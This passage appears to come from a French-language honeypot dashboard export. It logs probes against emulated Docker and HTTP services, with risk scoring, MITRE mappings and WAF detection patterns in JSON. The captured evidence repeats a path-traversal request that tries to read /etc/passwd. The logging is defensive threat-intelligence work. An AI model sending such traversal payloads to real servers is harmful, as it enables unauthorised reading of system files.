signal(aux) capteur", "confidence_factors_fr": "Confiance 8 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": true, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": false, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "discovery", "label_fr": "D\u00e9couverte", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "docker", "service_banner": "Docker 24.0.5", "service_os": "linux", "dst_port": "2375" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "discovery", "matched_patterns": [], "ban_policy": "advisory_monitor", "tags_list": [ "docker_api_probe", "docker_emulated", "docker_payload", "mozi_pattern", "net_docker_api_probe" ] }
30/07/2026 21:49:01 UTC	TCP	2375 · DOCKER	docker	Traversal LFI lfi path traversal · via DOCKER:2375 · (tentative d'exploit)	Élevée	Moyen · 53
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE T1083 TA0001 TA0002 Protocole Émulateur DOCKER WAF — Recommandation Investiguer Tags docker_api_probe docker_emulated docker_payload http_get_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 2375 Chemin / cible — Service DOCKER Payload GET /blast/nph-viewgif.cgi?../../../../etc/passwd HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win Pourquoi cette classification : Type « lfi_path_traversal » (signaux protocolaires) · confiance 100% Confiance classification 100% Corrélation +8 Risque capteur Moyen · 53 Confiance : Confiance 100 % — Motif catalogue confirmé Protocole émulé 1 Signaux CRS-930100 MITRE-T1083 pat-0508 pat-0711 Technique MITRE T1083 Tactiques MITRE TA0001 TA0002 Motifs de détection (base) ET path traversal encoded CRS 930100 path traversal CRS 930160 etc passwd CRS 930110 LFI Path traversal encoded User-Agent — Règles WAF — Payload (extrait) GET /blast/nph-viewgif.cgi?../../../../etc/passwd HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win Requête brute (extrait) GET /blast/nph-viewgif.cgi?../../../../etc/passwd HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 Accept: / Accept-Language: en Accept-Enco Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a5365727665723a20446f636b65722f32342e302e350d0a436f6e74656e742d4c656e6774683a2036380d0a0d0a7b2241706956657273696f6e223a22312e3431222c2256657273696f6e223a223234", "emulator_response_len": 162, "bytes_in": 270, "payload_entropy": 5.407454309504799, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "docker", "app_proto": "docker", "asn": 45102, "country": "JP", "dst_port": 2375, "risk_waf": 8, "risk_classification": 78, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 40, "risk_novelty": 25, "risk_boost": 20, "risk_granularity": 5.1, "risk_breakdown": { "waf": 8, "classification": 78, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25 }, "risk_score": 53, "tag_count": 6, "anomaly_count": 0, "campaign_key": "11a06314b5b73d1ed254793071b2d148dd63d0fb", "event_fingerprint": "00a875d783a0dbdbe0de1f97f4b47b47ab6b3d3e", "classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%", "confidence": 1, "classification_confidence": 1, "precision_score": 424, "precision_signals": [ "CRS-930100", "MITRE-T1083", "pat-0508", "pat-0711", "pat-0716", "pat-0083" ], "kb_rule_ids": [ "CRS-930100", "MITRE-T1083", "pat-0508", "pat-0711", "pat-0716", "pat-0083" ], "matched_patterns": [ "pat-0508", "pat-0711", "pat-0716", "pat-0083", "pat-0081" ], "matched_pattern_names": [ "ET path traversal encoded", "CRS 930100 path traversal", "CRS 930160 etc passwd", "CRS 930110", "LFI Path traversal encoded" ], "pattern_ids": [ "pat-0508", "pat-0711", "pat-0716", "pat-0083", "pat-0081" ], "confidence_breakdown": { "waf": 8, "classification": 78, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 53, "correlation_boost": 8 }, "named_classification_skipped": false, "classification_parent": "path_traversal", "service_name": "docker", "risk_confidence_factor": 100, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "payload_hash": "fe82ff36995428eebacabddd75f13393", "path_pattern_hash": "944212cb86fb25ee98eec801af12ab3d" }, "target_context": { "dst_port": 2375, "service": "docker", "service_name": "docker", "risk_score": 53 }, "payload_preview": "GET \/blast\/nph-viewgif.cgi?..\/..\/..\/..\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win", "request_sample": "GET \/blast\/nph-viewgif.cgi?..\/..\/..\/..\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/58.0.3029.110 Safari\/537.3\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Enco", "payload_snippet": "GET \/blast\/nph-viewgif.cgi?..\/..\/..\/..\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win", "evidence": { "request_sample": "GET \/blast\/nph-viewgif.cgi?..\/..\/..\/..\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/58.0.3029.110 Safari\/537.3\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Enco", "payload_snippet": "GET \/blast\/nph-viewgif.cgi?..\/..\/..\/..\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win", "classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%" }, "attack_stage": "exploit_attempt", "mitre_tactics": [ "TA0001", "TA0002" ], "mitre_techniques": [ "T1083" ], "mitre": "T1083", "threat_family": [ "path_traversal" ], "recommended_client_action": "investigate", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "ee46db4689fa0b3ea881a0a07884268ef5b4ef6b", "protocol_details": { "payload_preview": "GET \/blast\/nph-viewgif.cgi?..\/..\/..\/..\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "evidence_snippet": "GET \/blast\/nph-viewgif.cgi?..\/..\/..\/..\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win", "attack_vector": "lfi path traversal \u00b7 via DOCKER:2375 \u00b7 (tentative d'exploit)", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9", "site_display": { "classification": null, "classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%", "classification_reason_label_fr": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 53\/100 (Moyen) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via DOCKER \u2014 multi-protocole (2 protocoles \u00b7 5 min)", "confidence_pct": 100, "confidence_breakdown": { "waf": 8, "classification": 78, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 53, "correlation_boost": 8 }, "attack_stage": "exploit_attempt", "attack_stage_label": "Tentative d'exploit", "attack_chain_stage": "exploitation", "attack_chain_stage_label_fr": "Exploitation", "risk_score": 53, "risk_label": "Moyen", "service_name": "docker", "service_label_fr": "DOCKER", "dst_port": 2375, "protocol_emulated": true, "tags_summary": [ "CRS-930100", "MITRE-T1083", "pat-0508", "pat-0711" ], "tags_summary_labels_fr": [ "CRS-930100", "MITRE-T1083", "pat-0508", "pat-0711" ], "recommended_action": "investigate", "recommended_action_label": "Investiguer", "mitre": "T1083", "mitre_technique": "T1083", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "Docker 24.0.5", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "payload_preview": "GET \/blast\/nph-viewgif.cgi?..\/..\/..\/..\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "attack_vector": "lfi path traversal \u00b7 via DOCKER:2375 \u00b7 (tentative d'exploit)", "evidence_snippet": "GET \/blast\/nph-viewgif.cgi?..\/..\/..\/..\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9", "confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": false, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": true, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "exploitation", "label_fr": "Exploitation", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "docker", "service_banner": "Docker 24.0.5", "service_os": "linux", "dst_port": "2375" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "exploitation", "ban_policy": "advisory_investigate", "tags_list": [ "docker_api_probe", "docker_emulated", "docker_payload", "http_get_probe", "mozi_pattern", "net_docker_api_probe" ] }
30/07/2026 21:49:01 UTC	TCP	7001 · HTTP	http	Traversal LFI lfi path traversal · via HTTP:7001 · (tentative d'exploit) · → /blast/nph-viewgif.cgi	Élevée	Élevé · 65
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE T1083 TA0001 TA0002 Protocole GET /blast/nph-viewgif.cgi UA Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, lik… Émulateur HTTP WAF 41 Recommandation Investiguer Tags 950261:lfi-0 950265:lfi-1 950326:rce-0 950468:nosqli-3 Cible HTTP GET /blast/nph-viewgif.cgi TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 7001 Chemin / cible /blast/nph-viewgif.cgi Service HTTP Pourquoi cette classification : Type « lfi_path_traversal » (signaux protocolaires) · confiance 100% Confiance classification 100% Corrélation +8 Risque capteur Élevé · 65 Confiance : Confiance 100 % — Motif catalogue confirmé · 6 tag(s) WAF Protocole émulé 1 Signaux CRS-930100 MITRE-T1083 pat-0508 pat-0711 Technique MITRE T1083 Tactiques MITRE TA0001 TA0002 Motifs de détection (base) ET path traversal encoded CRS 930100 path traversal CRS 930160 etc passwd CRS 930110 LFI Path traversal encoded Ligne de requête `GET /blast/nph-viewgif.cgi?../../../../etc/passwd HTTP/1.1` User-Agent Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Règles WAF lfi-0 lfi-1 rce-0 nosqli-3 Payload (extrait) GET /blast/nph-viewgif.cgi?../../../../etc/passwd HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Fedora; Linux i686) Requête brute (extrait) GET /blast/nph-viewgif.cgi?../../../../etc/passwd HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043", "emulator_response_len": 177, "http_header_count": 5, "http_query_params": 1, "http_path_depth": 2, "http_path_ext": "cgi", "http_ua_hash": "f01c979c8afcc797a01117b6c005e3266e51e2f5", "http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b", "http_target_hash": "762fc9d3a4c268f243c40dca45ec4927ba903002", "http_referer_hash": null, "http_method": "GET", "http_ua_is_cli": false, "http_ua_is_browser": true, "bytes_in": 258, "payload_entropy": 5.379136963094767, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "http", "app_proto": "http", "asn": 45102, "country": "JP", "dst_port": 7001, "risk_waf": 100, "risk_classification": 78, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 33, "risk_novelty": 25, "risk_boost": 0, "risk_granularity": 6.6, "risk_breakdown": { "waf": 100, "classification": 78, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 25 }, "risk_score": 65, "tag_count": 7, "anomaly_count": 0, "campaign_key": "4bab9001304a588465680a33e21069fef7f47b40", "event_fingerprint": "073e97f93d8d93b94f5ee7cdd71469472bf32c19", "classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%", "confidence": 1, "classification_confidence": 1, "precision_score": 564, "precision_signals": [ "CRS-930100", "MITRE-T1083", "pat-0508", "pat-0711", "pat-0716", "pat-0083" ], "kb_rule_ids": [ "CRS-930100", "MITRE-T1083", "pat-0508", "pat-0711", "pat-0716", "pat-0083", "CRS-930100-sub" ], "matched_patterns": [ "pat-0508", "pat-0711", "pat-0716", "pat-0083", "pat-0081" ], "matched_pattern_names": [ "ET path traversal encoded", "CRS 930100 path traversal", "CRS 930160 etc passwd", "CRS 930110", "LFI Path traversal encoded" ], "pattern_ids": [ "pat-0508", "pat-0711", "pat-0716", "pat-0083", "pat-0081" ], "confidence_breakdown": { "waf": 100, "classification": 78, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 25, "risk_score": 65, "correlation_boost": 8 }, "named_classification_skipped": false, "classification_parent": "path_traversal", "service_name": "http", "risk_confidence_factor": 100, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "http_ua_hash": "250f19d890bb434f396261e36228759b", "payload_hash": "e4c0bcad57f953f9f2adc1327c581864", "path_pattern_hash": "4a821c859d017e7d3f5f2beb0701ce73" }, "target_context": { "dst_port": 7001, "service": "http", "service_name": "http", "risk_score": 65 }, "method": "GET", "path": "\/blast\/nph-viewgif.cgi", "query_string": "..\/..\/..\/..\/etc\/passwd", "user_agent": "Mozilla\/5.0 (Fedora; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/129.0.0.0 Safari\/537.36", "waf_tags": [ "950261:lfi-0", "950265:lfi-1", "950326:rce-0", "950468:nosqli-3", "950469:nosqli-3", "950470:nosqli-3" ], "waf_rule_names": [ "lfi-0", "lfi-1", "rce-0", "nosqli-3" ], "request_line": "GET \/blast\/nph-viewgif.cgi?..\/..\/..\/..\/etc\/passwd HTTP\/1.1", "payload_snippet": "GET \/blast\/nph-viewgif.cgi?..\/..\/..\/..\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Fedora; Linux i686)", "evidence": { "method": "GET", "path": "\/blast\/nph-viewgif.cgi", "query_string": "..\/..\/..\/..\/etc\/passwd", "user_agent": "Mozilla\/5.0 (Fedora; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/129.0.0.0 Safari\/537.36", "waf_tags": [ "950261:lfi-0", "950265:lfi-1", "950326:rce-0", "950468:nosqli-3", "950469:nosqli-3", "950470:nosqli-3" ], "waf_rule_names": [ "lfi-0", "lfi-1", "rce-0", "nosqli-3" ], "request_line": "GET \/blast\/nph-viewgif.cgi?..\/..\/..\/..\/etc\/passwd HTTP\/1.1", "request_sample": "GET \/blast\/nph-viewgif.cgi?..\/..\/..\/..\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Fedora; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/129.0.0.0 Safari\/537.36\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n", "payload_snippet": "GET \/blast\/nph-viewgif.cgi?..\/..\/..\/..\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Fedora; Linux i686)", "classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%" }, "attack_stage": "exploit_attempt", "mitre_tactics": [ "TA0001", "TA0002" ], "mitre_techniques": [ "T1083" ], "mitre": "T1083", "threat_family": [ "path_traversal" ], "recommended_client_action": "investigate", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "cd535b78d84e5afae9ee9d1156f52f2eba35a773", "protocol_details": { "http_method": "GET", "http_path": "\/blast\/nph-viewgif.cgi", "request_line": "GET \/blast\/nph-viewgif.cgi?..\/..\/..\/..\/etc\/passwd HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Fedora; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/129.0.0.0 Safari\/537.36", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "evidence_snippet": "GET \/blast\/nph-viewgif.cgi?..\/..\/..\/..\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Fedora; Linux i686)", "attack_vector": "lfi path traversal \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/blast\/nph-viewgif.cgi", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 6 tag(s) WAF", "site_display": { "classification": null, "classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%", "classification_reason_label_fr": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 65\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)", "confidence_pct": 100, "confidence_breakdown": { "waf": 100, "classification": 78, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 25, "risk_score": 65, "correlation_boost": 8 }, "attack_stage": "exploit_attempt", "attack_stage_label": "Tentative d'exploit", "attack_chain_stage": "exploitation", "attack_chain_stage_label_fr": "Exploitation", "risk_score": 65, "risk_label": "\u00c9lev\u00e9", "service_name": "http", "service_label_fr": "HTTP", "dst_port": 7001, "protocol_emulated": true, "tags_summary": [ "CRS-930100", "MITRE-T1083", "pat-0508", "pat-0711" ], "tags_summary_labels_fr": [ "CRS-930100", "MITRE-T1083", "pat-0508", "pat-0711" ], "recommended_action": "investigate", "recommended_action_label": "Investiguer", "mitre": "T1083", "mitre_technique": "T1083", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "honeypot-http", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "http_method": "GET", "http_path": "\/blast\/nph-viewgif.cgi", "request_line": "GET \/blast\/nph-viewgif.cgi?..\/..\/..\/..\/etc\/passwd HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Fedora; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/129.0.0.0 Safari\/537.36", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "attack_vector": "lfi path traversal \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/blast\/nph-viewgif.cgi", "evidence_snippet": "GET \/blast\/nph-viewgif.cgi?..\/..\/..\/..\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Fedora; Linux i686)", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 6 tag(s) WAF", "confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +8 \u00b7 6 tag(s) WAF", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": false, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": true, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "exploitation", "label_fr": "Exploitation", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "http", "service_banner": "honeypot-http", "service_os": "linux", "dst_port": "7001" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "exploitation", "ban_policy": "advisory_investigate", "tags_list": [ "950261:lfi-0", "950265:lfi-1", "950326:rce-0", "950468:nosqli-3", "950469:nosqli-3", "950470:nosqli-3", "net_web_probe" ] }
30/07/2026 21:48:59 UTC	TCP	2375 · DOCKER	docker	Sonde API Docker docker api probe · via DOCKER:2375 · (sonde / probe)	Élevée	Faible · 33
Étape Sonde / probe Chaîne Découverte Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0007 TA0007 TA0001 Protocole Émulateur DOCKER WAF — Recommandation Surveiller Tags docker_api_probe docker_emulated docker_payload http_get_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 2375 Chemin / cible — Service DOCKER Payload GET / HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14092.77.0) AppleWebKit/537.36 (KHTML, like Gec Pourquoi cette classification : Type « docker_api_probe » (signaux protocolaires) · confiance 0% Confiance classification 8% Corrélation +8 Risque capteur Faible · 33 Confiance : Confiance 0 % — 6 signal(aux) capteur Protocole émulé 1 Technique MITRE TA0007 Tactiques MITRE TA0007 TA0001 User-Agent — Règles WAF — Payload (extrait) GET / HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14092.77.0) AppleWebKit/537.36 (KHTML, like Gec Requête brute (extrait) GET / HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14092.77.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.107 Safari/537.36 Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a5365727665723a20446f636b65722f32342e302e350d0a436f6e74656e742d4c656e6774683a2036380d0a0d0a7b2241706956657273696f6e223a22312e3431222c2256657273696f6e223a223234", "emulator_response_len": 162, "bytes_in": 227, "payload_entropy": 5.446568026584671, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "docker", "app_proto": "docker", "asn": 45102, "country": "JP", "dst_port": 2375, "risk_waf": 8, "risk_classification": 60, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 40, "risk_novelty": 25, "risk_boost": 20, "risk_granularity": 5.1, "risk_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25 }, "risk_score": 33, "tag_count": 6, "anomaly_count": 0, "campaign_key": "11a06314b5b73d1ed254793071b2d148dd63d0fb", "event_fingerprint": "00a875d783a0dbdbe0de1f97f4b47b47ab6b3d3e", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "confidence": 0.08, "classification_confidence": 0.08, "precision_score": 0, "precision_signals": [], "kb_rule_ids": [], "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 33, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "docker", "risk_confidence_factor": 0, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "payload_hash": "1ad38ab9f7191eccfebc4f1ad551cc35", "path_pattern_hash": "f1831d9f4a5a77b3112c071eb8abe3e6" }, "target_context": { "dst_port": 2375, "service": "docker", "service_name": "docker", "risk_score": 33 }, "payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; CrOS x86_64 14092.77.0) AppleWebKit\/537.36 (KHTML, like Gec", "request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; CrOS x86_64 14092.77.0) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/93.0.4577.107 Safari\/537.36\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; CrOS x86_64 14092.77.0) AppleWebKit\/537.36 (KHTML, like Gec", "evidence": { "request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; CrOS x86_64 14092.77.0) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/93.0.4577.107 Safari\/537.36\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; CrOS x86_64 14092.77.0) AppleWebKit\/537.36 (KHTML, like Gec", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%" }, "attack_stage": "probe", "mitre_tactics": [ "TA0007", "TA0001" ], "mitre": "TA0007", "threat_family": [ "cloud_infra_scan" ], "recommended_client_action": "monitor", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "39195d4d278df6a499cc248b6a8af19565c7bbd3", "protocol_details": { "payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; CrOS x86_64 14092.77.0) AppleWebKit\/537.36 